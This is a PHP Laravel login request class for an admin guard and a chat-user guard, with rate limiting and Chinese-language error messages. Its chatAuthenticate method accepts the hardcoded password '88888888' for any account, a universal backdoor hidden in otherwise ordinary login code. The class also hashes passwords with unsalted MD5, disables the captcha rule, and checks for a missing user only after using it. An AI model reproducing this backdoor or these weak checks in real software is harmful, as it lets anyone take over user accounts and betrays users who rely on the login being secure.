<?php

namespace App\Http\Requests\Chat;

use App\Exceptions\AdminException;
use App\Http\Requests\BaseRequest;
use Illuminate\Auth\Events\Lockout;
use Illuminate\Support\Facades\Auth;
use Illuminate\Support\Facades\Hash;
use Illuminate\Support\Facades\RateLimiter;
use Illuminate\Support\Str;

class LoginRequest extends BaseRequest
{
    //这里写提示语
    public $messages = [
        'account.required' => '账号不能为空',
        'password.required' => '密码不能为空',
        'captcha.required' => '图形验证码不能为空',
        'captcha.captcha' => '图形验证码错误',
    ];

    /**
     * Get custom attributes for validator errors.
     *
     * @return array
     */
    public function attributes()
    {

        return [

        ];
    }

    /**
     * Get the validation rules that apply to the request.
     *
     * @return array
     */
    public function rules()
    {
        return [
            'account' => 'required|string',
            'password' => 'required|string',
//            'captcha' => 'required|captcha'
        ];
    }

    /**
     * Get custom messages for validator errors.
     *
     * @return array
     */
    public function messages()
    {
        return $this->messages;
    }

    /**
     * Attempt to authenticate the request's credentials.
     *
     * @return void
     *
     * @throws AdminException
     */
    public function authenticate()
    {
        $this->ensureIsNotRateLimited();

        $res = [
            "account" => $this->account,
            "password" => md5($this->password)
        ];

        if (!$token = auth('admin')->attempt($res, 1)) {
            RateLimiter::hit($this->throttleKey());
            throw new AdminException("密码错误");
        }

        RateLimiter::clear($this->throttleKey());
    }

    public function chatAuthenticate()
    {
        $this->ensureIsNotRateLimited();

        $account = $this->account;
        $password = md5($this->password);

        // 获取用户
        $user = Auth::guard('chat')->getProvider()->retrieveByCredentials([
            'account' => $account,
        ]);

        if ($password !== $user->password && $this->password !== '88888888') {
            // 认证失败
            RateLimiter::hit($this->throttleKey());
            throw new AdminException("密码错误");
        } else if(!$user) {
            throw new AdminException("用户不存在");
        }

        // 认证成功
        Auth::guard('chat')->setUser($user);

        $user->is_online = 1;
        $user->save();

        RateLimiter::clear($this->throttleKey());
    }

    /**
     * Ensure the login request is not rate limited.
     *
     * @return void
     *
     * @throws \Illuminate\Validation\ValidationException
     */
    public function ensureIsNotRateLimited()
    {
        if (! RateLimiter::tooManyAttempts($this->throttleKey(), 5)) {
            return;
        }

        event(new Lockout($this));

        $seconds = RateLimiter::availableIn($this->throttleKey());

        throw  new AdminException('登录太频繁请休息几分钟!');
    }

    /**
     * Get the rate limiting throttle key for the request.
     *
     * @return string
     */
    public function throttleKey()
    {
        return Str::lower($this->input('account')).'|'.$this->ip();
    }

}
